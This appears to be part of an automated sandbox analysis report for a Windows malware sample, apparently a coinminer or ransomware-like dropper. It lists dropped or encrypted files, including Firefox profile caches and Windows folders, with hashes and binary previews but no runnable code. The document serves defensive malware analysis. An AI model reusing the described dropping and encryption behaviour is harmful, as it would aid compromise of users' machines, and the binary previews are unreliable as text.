SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.CoinminerX-gen.23583.11262.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\geo[1].json

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	4.620719290356482
Encrypted:	false
SSDEEP:	12:YkSwpHEx6uck3QVPDRbW3QVPaYIRWJH131S50dHkqm+k2J+9:YeHDtk3QVPDRbW3QVPaYIgJV340hhm+q
MD5:	E5E2AD803342C408FDBECA8FF3354C51
SHA1:	D42441F0AA8CBD3E6C7EFD39E0D94FCF5B084CBA
SHA-256:	3E0E98AE14B9E2FD4B787D84D820DD85C789B5DF316A3C0D14DD83436F329167
SHA-512:	8F6E3DFFF97938289615CE3EB811B793F5DEB514B3F547F50256D06D620B7A258EB3A1D36C7E6C15975B5E4027A362703CD626430E00744C270AB52425CF0656
Malicious:	false
Preview:	{"ip":"89.187.171.132","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Georgia","region_rus":"\u0414\u0436\u043e\u0440\u0434\u0436\u0438\u044f","region_ua":"\u0414\u0436\u043e\u0440\u0434\u0436\u0456\u044f","city":"Atlanta","city_rus":"\u0410\u0442\u043b\u0430\u043d\u0442\u0430","latitude":"33.748795","longitude":"-84.387543"}

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.9977261686443475
Encrypted:	true
SSDEEP:	1536:z9ejmoMZkpzYC2fqAGlPCgNsbgs6+rQr/0kS10BuXwL3q20+nXOw:5SZMZkpovS3uba+cr/0kY0BuXw7d0+XZ
MD5:	4E25A223B972F8338999B58E05B96879
SHA1:	BA79F4A0A394C470FC85D59A1C2F8626864A0FFE
SHA-256:	CA3E134B5098A5046C56DF4F8CEF57FB5E936B87F353A4775A46140264B6611A
SHA-512:	9B308344E94DB359BCBBB9976DC1B4D43E46AA0DCB647ED5B0AD43B696820AF86884A6F26B1FD674456B3043076AA300BB7C28C8DA27B13BB3170545E9052D31
Malicious:	true
Preview:	'use V1:...R.FM..b.U........<.T..Uk.xk...c...%..U.@..5.Qa....&.8..Dd.....w.zt.~...zd..Er"...m...!......BEd..g.kc...n.].vx...4....7.....%wR.........6..[..Rqd............/6H..3..'..I....i...%...#.....;\|$....2...S..m$MfVI</......D,..UsN/..Z..ih'.3.~...#.,l.9f.}..Ny...%NKwO.CgU.E+Q8....@5..S6....4.-....k..].p.._.:U..#..).T..w..y..ta/'sR.S......Yr)....gr(2.......?..8.3.....U......\|L..Z.%Ir....oI.)P.&..y..y.&KL.w....@.f.Ph..5..^.\|2.O,.i..jA..B...,.A.{S.E..6..<;.b!...i...h.T`...WM^.}d}..L.. .....>..@..bo<B.:...M.S...J..(...52..h!.F...w.80.O.b.'...n!....k.5R.s....,9...5...x.z.-...Ze...c..u..J..p.qG.!.1z.o.&..q.Tf.../ ...c..u....IS......9..Y.}..d.+D0...{....'n....{CF*lW.k.j......B..V.X.`......~....1v.......O.2........u.x..).'j.(}G..P,vk......".k.[.?.ZU)D#.....<..@^....t.,..n........2.Y%.fG.[.z..h>xXY..x.y.#..t.B....%.+....@..AlY.].K..g..t-.Z......._?8.D......1;.#.j.6...]...T..M..}.zx'O.hid:.....(P....&.....8..H..2=.....<.B.}..Tw(.....(..K.Cr/.SE...r

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.993842983698809
Encrypted:	true
SSDEEP:	768:Mpbl3i8TG2tmgjEGWxBeatlbSpsdKCUvPPtHLhMKJSS:MZl82TTWxBemzNmLhNMS
MD5:	A88695324DFB1032118C7C6795702BFD
SHA1:	008B966BAFE5EA835D584B760AA34933290805D0
SHA-256:	E5DD82F8A9264099DDF36B58ED5D38ECF4069845CB07F9FA657D24BEED46659F
SHA-512:	8603321B464EECAFC1CDD0EA029619A9E955FED32160167B31F411EA4D58A5FB5A4609FA4391D6CFA75B471E7A63287FE48B5B58F41EB21E3FBB88E1531897A4
Malicious:	true
Preview:	'use ..D.nB...C8..p.x..lZ...u.p.M'.L.......(. Jl.1.[...b. ..b.......]?.6./?...!.x9...E.Yy.q.dC...E...K...5p"B........kl%pZ....w%Y3._...9J\yU......jO.]E..-.m...fjyW.y....bf.!(....~....).Z.Dy.....:]......e.1....k.b....&.>....0..H.........}\.....B....m.;1....j.8....X:..D,<...:..b>....._.....`..R.M....j.%%..(...~....\j.x].(y..~....Z..C.E.....~.)/.$.~ab...:..Pk.M..........B2\|...0tGW.[-r...@a2,.lJr.....!.\,..;j.L.....A.b5....V.....X"5..}..L\|.....0...:...b....z].j5.Zq..."..p.6..<.A..6.2z2...Yw.v.k_.....".fV.W.(..69HG....j.n..)1.6....g.n..3I.....A=..a...\.w...6.^.V...f.(.3..[};.H6..]..,_.[l.<n...<....J.....\.#..ZtB_........s.z.F..2UP<l.4...N..K+.Q)H9.+.......P..2x..K.?MQ.&y.-.6p.1.......=.&.b...n....0._.;m...1l+W..g...7...6..J1c.... n.......V.d.F...L...0.N[.B....."...;..s....N..3......I(..6#..[......%.....S.l_qa.g.u&Cd=...D..Q...........8.........#..Ef.I!.@..6Q..P.%.N.QD.......61f.W.....q.B......\|.vM3...A...J.8..YWA21...p.r....0..nH.....g....

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.9916374527707745
Encrypted:	true
SSDEEP:	384:e9zUzvCN4faF8Q9NBx0bAtE/n/z2HcRR0MnR4FsRWyn5TOTY2jjCKogLBL7Sxv:e9zUzPx4nKEtyL28EsR46RW+TAzyxv
MD5:	A28A3042EF2BB5BCBD064C49C1A78DD8
SHA1:	61F312806322C64693B2C6091B0D4DCF9728142D
SHA-256:	1FE2B191D3C1FDD97504908CAF9EBB8DC4E36BCAAD413A6D0DAD0402084E6541
SHA-512:	A907D665B7751112F7118C6265FC3C7569EEDA5BA1B999B1ADA92BCA7FFF4CDE251AB94E76A0976A5D531B518D53763775E5796469A03A62FA69406F41DF3EF7
Malicious:	true
Preview:	.....`./%.b.x.s.mv..].g.5.I...z}(w.......v. ..h.,.I......~...6....H...K.G..T...N........b.1..-.KND..?..d#\|..e..n..6./...v..K..4C.D.Hf....$.IE..>...V.~..2C.7.ej:Q}......z...A>...-..y..4.. CT8....u.j$..+..FV..Q...yfM.c{...b.)$....#...Yfuh.4.a..#.1.........D..#...(......eP.8}.\|....`.-.1.k.{. ..{.X.pXL'...b. .g..TF..K:O.1.M........L....9.2=$.....vicMRjLp....+j.....e.%...C..s#...n`...z..F9"...O..-(..aL(...g,.....h.i..J4...yTHym.3r..v.....-..]...........;.Mr.R.....t.TSK.e. ...q\a+k+.. .....Bh+..Rj..ER.4.r+l..zXl.$.,..........j.. ..+....^..[.!..7...A..Sm..u`...:...xc.Y.\.(......j..foF...t._5.\...\|.k.J.6.6....?....t.Y....N\|....q....^.+...D..l.....p..b^Y.....s.x.....w.i..l..j..8]..8aW.2.l...?...t.T+Ty.P`FBH<.'p..sYD..>..$..3.~....^.5......k../..}.s.M.%......S..._.J...q.A.\|.~...'.o...Pq..p....V:...U.e.B....hWZ.YA..8.I....\|_.ox..e..09]<.A../GVa....>...&{....&.c.4..$...e.,.5.v/.T]...C.R^:....J;\.....:K.3B...0..DO1.o......q...>..].N.."..nq.@.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.863005612350771
Encrypted:	false
SSDEEP:	48:YebT+0SKR+Zm0Pf1Rg+oSK7TXHCVamvaNb2SXyqD:07K8EQ1Rg+S3XHCkzlXyi
MD5:	5665F5D3415BA78AF3FA650D8B7BF5CD
SHA1:	8E9E1C466E31C64BF82D60EB1FA499B2A9423F62
SHA-256:	CBFAC16F10032CB44AC85BB9651A97EBB89AE0C37622B19760044798792BF218
SHA-512:	F83707FD4ADE94B06C3D8707360E6CB6D46C0A6B40FF460D8740EF509AE4CD52E74898D22551975060D24F744DE96FBC8042F941E269679145E0F8D40DF000D2
Malicious:	false
Preview:	{"spo....7.%~,....6.J...P.s$...f...[._.e....-.c........I...n...NM.....$..M.....H.......r.6l%...`...<.Y.a:8G..A.5W..\|... a.-.{.O..V...e....(.d`mz.fDB........yG;(..A......_.............y...r..}..x.U..2M.'.?.9..}9S...&r....G..G..].!X.M.0g.V.M.P.!`..)VK!..s.[..&>L.W:.>..gs.4...O^..2...k`..?..C.~...x.R...gq...g...{F\|k@........7...:..6.h.b...u...X..=l3.C..lN.v.@4...(...ur..gN.m......4.F^..c.#........8R....'Aj:\z......{P..{.....f....,Eae.k.~...aQ..E.\._3..u5.8\|...44.\|C`.p..... .....r..%.I..qN#.Ai....S.g+$.GP.5.0......=/E..}.]..$.G8'z._=...5.3.kh.KWC...+..2l....z'..(...m..-;..Z..y$.o.....Jl.f..].......=.g...v.8G..j..R.D#r.s......GPSQ.B......\R.I+.pJh..N\|.QS. N.iX.o@q...h.2.....B.EC.D....S..O.\|l..N...c.'.w/))...../)"l....%.kK.s..O.....{...9.t.....{...l&......*..`a.....)...@..p.R.v.'....?...M..n6@..q!.Bc4..)`%...H'0..(B5.{N....6..lV.l$.q`:u../.~.,M.-.....E..]{..%.\..........V.$=1o.$.-.2U.. .yd...F.......,...I}.Y..U"......{.......N.s(...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.076366069724099
Encrypted:	false
SSDEEP:	12288:F1RMU50WzHAid5l/OmC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhu:FHZnDrh2cGGR7l/bqs6BjUNR+W
MD5:	25255C20D317EB696FD3C1CEE76B6EEB
SHA1:	5ADDB88AC5050F780C89C8D13301B575365604AC
SHA-256:	001C37027C1FDBE8669CDE1C1C8C08314BA28329716454C5CA71393BDC4A1FC6
SHA-512:	B249928777631D2AE347B4E20FDF43A161934B52D7DA9A79140D3BF0857B76A741709E6DD2E4A3516C38442DC49738E24A8F1E6C33936D41EFAB915FB2BB6DBB
Malicious:	false
Preview:	mozXDom....jdk... }Hd.............2.n..a{.Z..a.z.l...'9.3..QDE..s.y..w.d.Bj.1(.KP..nSw.\|..6.\E.....[>{.l...-].\|@.7..h.G.TLr...X..H.M.B..e.)\|..j..n9P&.<A.l...f..2[Vv.\[..^.s..SOa........<..rj:....&.V..m.I.hb!.'He.e........'H..BJ....fq&.......(.P\|.c...\b......v)0.............N.....f+8...$...1m2.Af<_G...m.8...+M....\|*H,.KOi..h.A......p..bs...c..qP,..v}i"......>!~...>..%U.....L..i.`.....vX....{a._.iL`.B..H.[...2.H..]=..K.....8.....oKj...H.g..<uW(.....t......@.."Y...j...m.d<<..[...Vg.5...0.....v......^..&....p....U.......9..]...{\|9.a..S..j.i......7..0..bV.z.:z.W.......F............K....":L...>.f....%x.Bp..v....s........Q...D...N..`...{.(.VH.g<S....MZ#.Ob:]8..@..!p..L.i.q}.})....OB@..b3?u\DP..E...E.....=.@.K".......5...@... ...kM.U`L...fmjS.=N..p/.l...pg..Y,.w...'....\..]..;..d...U..R...w'...c~..AW..C.?.U.......;......X#....C....Q.d.@$...{......6eB..@.C)7..#i,..Gv>_.o,.Y.S"J.6......"...!..5.#9i.&....e.Z.5.....jX...dI.m.........&..O.U.)..A...V

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802700938118263
Encrypted:	false
SSDEEP:	49152:89ywTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLVH:Ovv8EW5IdVgdy6gn/SSyal+rPt
MD5:	B7D98E58AF76B7FE2CEE7671FEECD3F1
SHA1:	BBB7A64158C06D8B3CAC1152DBD08ACC04759915
SHA-256:	7D2294003BFBDAF3CD867A59D31F1557F7BFEC9653B38F27D5BC17F59D7AF8D0
SHA-512:	5E57AC7FFE4F6164B103E4D6EA50BC967FCAD2B7367D1A4E354BEE83C7E67411C1B2658B19217665842B78CC1692A9358C8DD32729C3A83D397E0010C1D83E71
Malicious:	false
Preview:	mozXD.ft.,...Z......(m.H...q.2.....qs@R...p....\|.H$\..9..N.bx..!.....)....1s%..5t.....0}..-5...hTH..'..)!^.........!.`... .jy...&...,.Is..."Q... ...V..4...y....Yv..-........ob..j.J..{x...T!......W.I..V..;...x%.(bH.D..~.....9uM..I.).......'.....Bg4....L..`.\H..~.....K..y....O......5a,.;.5.Z.G.:.}ZtH.^],.Mqa....6]...i])...L....\|.`..d......E.....}.g.......N..R.........Oq....8l.@M....j...#.>5P..o.]<.....h...c.BM:........:.n.......,e.n7.J3......sV..!.1..I.p.XU.g......fU..4...>.-...S\.9..tQ.7.#...&..6.8.o....V(.n?U#.....P]C..=V.3.s._.j. .^>Q..(.. ......Ys.E.:........Z.K.4.l...]..X@.......q.mV..t5..^..$....d....e.... Q..&.."#4VG_....Nl..\|;H....8.F,.2.N)..^qJ4#......5%......I...d.._.fV...FeI....I..p.JpEb..1N_..1..TO.=.z.< .F...7.>.bF.-....H...j.].5)...G/MInh..*..WN.y.....&....<.!>g.KK.....h4T..\|..7 ..R..X.._.. ..7..i/9a......E.........C./...N.......IWWT`h..m=7.8.\....2..g/..'....,]4i..fq..!s.j.)g.n&qg..d.R.R.R.....X@...0....~..T`..rb..1.e....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998936014325654
Encrypted:	false
SSDEEP:	24576:CfzXUdeCEY2M9Ooj6HoMllbQkvFLqLhjYOC5QSbs9fmadKzz/we3qR3omqfkXIzy:C7LCoM99IrJxEhfSI9CyYlNjcHu/Eke
MD5:	28A5585790FE5B60EFDF3590907D3216
SHA1:	D9C35BBE998A1FCA36057FF4A58C812BEED6DD20
SHA-256:	E33C1BC6D1BE4A08FFE456709F6100FE1646630A564E4D8D86DE1ACC7014D6BA
SHA-512:	609485B22DE069051831F0F533A3C80FAB870136C4988773507510FD5A7D79E83B2E24284B8E409719A89680C2E8853820ACB3DDA177B5C312EDEC23A3BF2D08
Malicious:	false
Preview:	startU...@...;.w...........4..w.W....HS.@..xK...3{C.W...'..!...u..`mb..~(..9..y..P..ic..M.4.......#....s..$"m.S.(8u.,....h..&n.nN@.....MU]............Tx..j...X ..^..n.1jV..O.p.g.E$)X..C2.6]...h...........w.....T....2.\|.,8.BS.C.?r.X...?.'.............&)...DU9..mgG..d...?.uh........Dx.!6T\|U0.o&.RS..cK;g))e..0..D..L.?......~..2&\|B.5.?s.Y...U..{....4..6....}i....m).jdz6..;.}...~..h..M...#S.N./...0...n.X#"...o.... .....+6..a..E.0...@.D.U.#....]..4...w...;a....l4E..J...'.Y..)?q.....YaC.7......L.A..ZVj.....4. Q]... ....).S9L...]..w.qDU.x.]5....=B.Q.=<l.7..[..oD....:l.w...@_zd......b...}............{.B}JKP...e$..n.tXW.'h.......0im~.Wm>y..{C.....k.w.3..~..5I.kS..Zf3\...8......b...]D.,.W ....jC.......c~.....GX...=.1.^..w.R..L.....lOT1.xJ.3a.Hcb..I.0/.0...Y.W..H.9...u.....d.m....cU>{.rM.j..z.....Z.@~.o...u.o....'.....N.2K.......?,.-..^...E...C..R.....U$.....B..~..O!...6....*.iI.X+JK..B,o..+....H.....W...\<...[<.T.F..7&.'.."=(..#/......X$....A(.5.;......V

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.942497827325758
Encrypted:	false
SSDEEP:	48:Y7SzbdS1Eg44IXSrJAPLXe6luynQqMXO/TbvVDw3aYHD:Y7sdywkGPLliqMCTbN0bj
MD5:	4D31CF11ABF37382D93742E8BB167627
SHA1:	492FF65044A407F9BAC1FF7359976F5660465CB1
SHA-256:	15FDEA39E02172A6C66C8993BB9965713CEB262A356C3FCEB3F8BC99F04FEB94
SHA-512:	80781E0EACB6593EA6F4A7760BF0FC0FA29C3974F5BBE4B4F0D29DAA02E876D174D4B9839914A9E1B5F1A45BB243756C98CC3A05E5E20DD01846D9F44478C4DD
Malicious:	false
Preview:	mozUR.'.._..y..B.....SlX-n....M.._..........}...;j...N.v....h.k.T.2......[s....W..!........Q.?. _...X.AB.B[...........c.6..\CHj)gf. ./.b.m...V.......x(m...._.\|..Y...)..<..mV"....=......i#..d...eN..WkE..\|..#..w.5...Y.W..c..l.[....,=~Q..D.Q......j.^...E%<.jQ8o..%..u...l....~.9. .V#7....uN....L...,.`..j.O.N.>38.%..G>.n$...us"]...z.D;.w).,.!&..n.J.L...N.".7...W.<.(.\..Y.....L.K..<..].)...O..;].K.<..C....8..D.....^.......I..f.2.....z......e..".....g.....Zb.{........>.]&....un.k..l.m.G..F.=}.......K.j>.-...z.A.T~...+........si..vX..v.i....9.S.\|....F.n\|.s....?.r#D. m\|Pv...\...m........LO.D.&.C.e.e..g...Z........Zy......X~#..o......=p$vC.R......s.`.....x..)t~...f..r..G...@.c...W.s=......E...........b`R._../..f..tY+.^?...%&....06....V"@..tV.....:.Z<.!.....?...............P...<..KZ.U..u.P..Na..&_..wq]0...&..y..pt.WK:..4pA....Xp...N].........>(<VpZ_K......_VE..a.}dC<_.w....`.,......j[.<.u.^>.....)..6,y...9..0.Q.z8.S.U..U.....e.l..C..._.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3739
Entropy (8bit):	7.950010650808442
Encrypted:	false
SSDEEP:	96:7+KY5XvuNKCDydd8NzRRkbTllCo4QN8px52:KKx4p8NdRkbRwV6
MD5:	E278DFD278D7EBED0A1DDA20A191185D
SHA1:	4093B5A48A8C1F3F86707A748AFA6FFB9CED7D0A
SHA-256:	BDDBE8862C5F03365201A4C86D0711E51D5CB2F440B6086962D25D4D3BE1F915
SHA-512:	5885B8A8BDD3127421839D2687E6680892B31F736E69E1EF77D5FFDF8496ADA23FE2D5EC5FE245B4D00813E4D869B866DBB15EC5ADDA24A2384BD9231A4D990C
Malicious:	false
Preview:	mozUR..=W.....`8Aw.g]..Y#.~..x.e..$.1.Q_6i...b......y..>R.c.<. .U..a'.....sM.../...5:...x....G..U,AS........Q9ui...&....C)....y.t..A...x.K.V;m..&...k).bP;.....L1!...F....+....sh.y.Ur.P._.g.F..OW!.\d..lk.x1.C}.@. #....W;..\..9..f\.I.n...H..L..H.F.!..L...2.....?.I.R..../..<...<.w.j..'..(.Vj..{....O_..'.Se./v........(nF.8~"..%z./......g..o...Z.<...o.3.6=O.3..g....&..zn.J.I........tB.......X!.d..eM.$..c.\|'ON.......OS_.aY.T..`.j.....aP..E?f...r...1..~.W......\|b3c.azX...j8j.pi0......Lh...A....;.<.....+t........Y.U.......@.Rdr.h......TMm..U...1..Q...t5.U....Y ..$....=&..W..'....0&.=...6HaS..kJ...,.R....u...1t..Z.94..$.:s..W.._..&>4+....F....l...>....s.B.Q..3...jZ....MU..........V.}..M.i.1b..l........T.8..Xm.J.w.W}'u1.;!7.r..l.RA..)..k..:F_.H..Ml..{.OD....L.O..t6...k.>7 j.0..^...."..,.....rE..._.*......#I.w.1...r...E...Z..Y.\|....4......D.......f..y...1..t...o.o..I....U.J.M.>.4.I.'.~.6..-...._.F.......7!F.._.vB~.....PR..z4...K..9e3@......A..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	110692
Entropy (8bit):	7.998086009417586
Encrypted:	true
SSDEEP:	3072:2yqrvBCxsFHSNAW3HXUOVjyETNlPRe7KNQt6Oakam8:2dBSmyCYHX7jyERl5e7KNy6mam8
MD5:	997B56BDFA91F363338831C025B07CFD
SHA1:	6C073AC6AEF1C2504D0ADB639D5A4139E94C5DDA
SHA-256:	BB9717A27147C28DF9904B1DFE49C47A8E771C259AD9989029C25A07584BF746
SHA-512:	7E7EC9735B2C4B9657E753D103816AE6E09FEAB1B86C84AE617AFDDA85CA7B4F2900220A5BCDBB1B7CC932A7D8998E1F5C997E4694DAF8BDC517EC6E9673D115
Malicious:	true
Preview:	mozJSd&........9..\|hX.N..t.....L..2.&..yF.b.@...f..pe.e....i_........P(Crc...~..OM....UP.......:\|.".....m......0....#..,Y.h..i..X_8.J...c.....(y.o.mEn=i.$..2...3....%."..[.I..d.~4.6.._.T.;._:z.......,.+R?....D.\|....L8.......;7.g.Z.X.. U....m....85....1.....Sx;..b..tR.\|..LV....+.4i4EO.?.4.oqyL.s^.dWA..!t...Vq.Z...2]-H..Ii9..1..J.I:{.]}y.J...Q.....y.19k;..".?......k...Z....!....&\-K......{/..2..\..$.....{.8.Y:...<..m..+...}&p0.m...UD...xH...U...V._>.....!....i..[\=avk....Xe..\|S..X...=......]N.S..4#.....6n.h.....7..).,...rL}..9......w+..w\[vn..5k.u. e..s...x.1?;.E....z1.%.J5r%^.-......x.a.slwC/..Br.:f..-a.$C.H...a...+Q.?...U.8.(=:N...lZ......\..h.e.D...)yv....4..-lU.VQ..f.:....g..4.n..y.C..M(..B^.....o>2PH..z.q?.%..$....z.c.,.#.ZUF.[w.`....-YJ.:...U.<p...\|.`K.<..N..]u...oH.9.{Sr......kz.$..7V..nU.J....d\.U.H.Y^x.).-..WD.n%....1X.....G.Q....(......Sn....B..P..2.d2.RH..8..y&e..5.r....H.mzV+4w.{..nk.=.....G...)......]RQe.`..Gsg..]>..*.w....6(.7W..v.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9798225264060445
Encrypted:	false
SSDEEP:	192:AHPpziXzW7igUa0hB6+iSYN0U7/8/SpfmgA/pfprHbm+j:AIWWg2Ziaq860bvrvj
MD5:	E04283EA3375CAD1890A96BDCC6269E4
SHA1:	C2094E053E8E2C3C62B0246951B394E810B8DC6D
SHA-256:	4DA5F164C9193772113CD77BF3B2602B9A469F087A18D0CCE023F10FDF6E49E3
SHA-512:	4444CA095BF667759621A4064127F4357B3FFB0681DEDF93DCC6DC8C0954F593EF5F98C40556AC3F21CF7561E8250D735C552F0F600368D6B6FDFA352D054DBC
Malicious:	false
Preview:	regf.!s..W...x0f....\........`...e...].."]s.rpJ,.(P.zw...}..`..t....w;..n. ..}y..HJ.FjS..~3..'.....)........r.../z.m.u..c\MnY.{n..#60..j......;..je....a.$.2.....c..7........7.]..J\.R0..@.@..........S..Z.pH.Tn..D.)..4_? ........,....Jt1.B.F..'H......0.....m7h....(CA..]`.^.l!.....DO.....R].H'.3.......ro.j...D..`.#rI.2/..{........._...7az..T..JE......~?.....E....v ...s..[9(.~....X.w..O....l...C.]Yhc>.uJ\..{~.......H....\|..zv.w.r.t.R..8..\..tG..r!.......$I.&>`L.s..r..+v[.....<.\|Lj.m.X@..x\_..b..f.....V&..........~Y.^.%.$.$.[]...j],.t.5.....K@.Z.M.q'[.I..YJ.....jLi.Mg\|K........E...F........:.W.?.6.P..j.sf....0.J.k............Z.sxg.u...w...xf.....-5..Tb..N..wm...q....E......#.*P.3.....=..^..kZ....`M.{.Q.C..C.R........M...8..z?...4..7\...K.7......'..e.r.vH..Wx...AG.-.0...xxD.......{..........V@. .@$.I;.....1,S.#...`...c,.R..r.h...U.I.....5.L.P8.eqeT.....o...._k..[8-k...8...X..0.b..P.=.<.@..r.>..(.F..:.l2>.4\.~.aRs.p.f.'E...... bz..H

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977413420980391
Encrypted:	false
SSDEEP:	192:ip/EBqPtW1Kt0eB64x6ZfMFEZNyVATCgzWUGy+B6TixZGcRC/eQslyj6D2iF:iRvPiy0eYZMVAWg5oipKye9cj6D2q
MD5:	F53D99589FE4AEA8EE1F33389A9296C8
SHA1:	3D961C2932F571EB1A3C7696FA949424DD2E5934
SHA-256:	75E11FA3B8971BA88A25972A7BC03B78C23A3FAFC5280A213F280610B51B700D
SHA-512:	198F079F48E15B92E4400B96B63AF908D7B6BFA31AD1D777146E1228312C426614640E06F95056F36C4EAE825D648BC8FD8244371945DAF63C38CD985C6350F6
Malicious:	false
Preview:	regf..A.I...X...+"w.3..-.....LrF....2..U....Z.5_w..Sy)].BnD..e_z.....W.../g.nU...1...#7?..D?Pi.Y.l..5UhR.......H..O......M..c-0...L......d.....B.w.....A...5J...t.2..n....\.g.Z..\....>..{...&.......p=.\|?m.(@n...(.l..A...<..X.C+.c...;.iw.N.N...a~........A..4m..[..f...W....4.2........j.F._.S..........t.P...Lm..2Y'^G...'....xi....Z...v..w;..}v^,..wd..%...Vn.&.'y..{8.e...:.+.Z.1..f.<.Hj.`......><M..T.,P.......:.V..............&..%.)?..i.Sm..........v......0..._.-..z..T.".-z..+.).%..].Ss"...<...Z.....{f7o.%..d.?..H..B.4.3.ZU-(...{...g.E.Ty..+#.....C?..M'.o.S.L..e..&l.......3....Mf.BsB.....x,..l.....fr...?g....>p?l....U2.,...dy[B..E.A.....b.........5..2..l.C....4E~.>..8..cv.l.S.-.W...e....@8.VV..XVB..v.:..O.... ...&az{..7+.....D.....f.......m..}OT..Z.QV..Xd.R..?n-..../r.U...m.....3..aZ.V.>S,7bDqe[Nu.m..#4..@..t/.(.........d.X.c.t]I...U#...`Q..K).=.U-.h.g..`.g..@.......p.bP...#...>C@.tM...O...p.u@.....QkeX.7L#.g~QH....y.o...

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97942997775352
Encrypted:	false
SSDEEP:	192:dirYMME5tt7doBbawmeJkD3ekN0dFhluerEtGJRJh3EsaGo:7itwbawJJCNSfxT/3EdX
MD5:	F0FC990A659EC277503352C8EABF2F4F
SHA1:	FF85291E43A0F38E02EACCA60CA0C0EF56B1650A
SHA-256:	32F426B82669098C5F397AF2FC2E4A13898A71EB50EDAA8C59CC908159EF847D
SHA-512:	7A34EE3C3A74FFEE9784184038C36CCBDA1B310FE826B0F4BCBC0B67C3BBFEF67C126E4DDA85BC1A7626FC1D5FED03E6FEED19C01509745CB64D13B0723FF08A
Malicious:	false
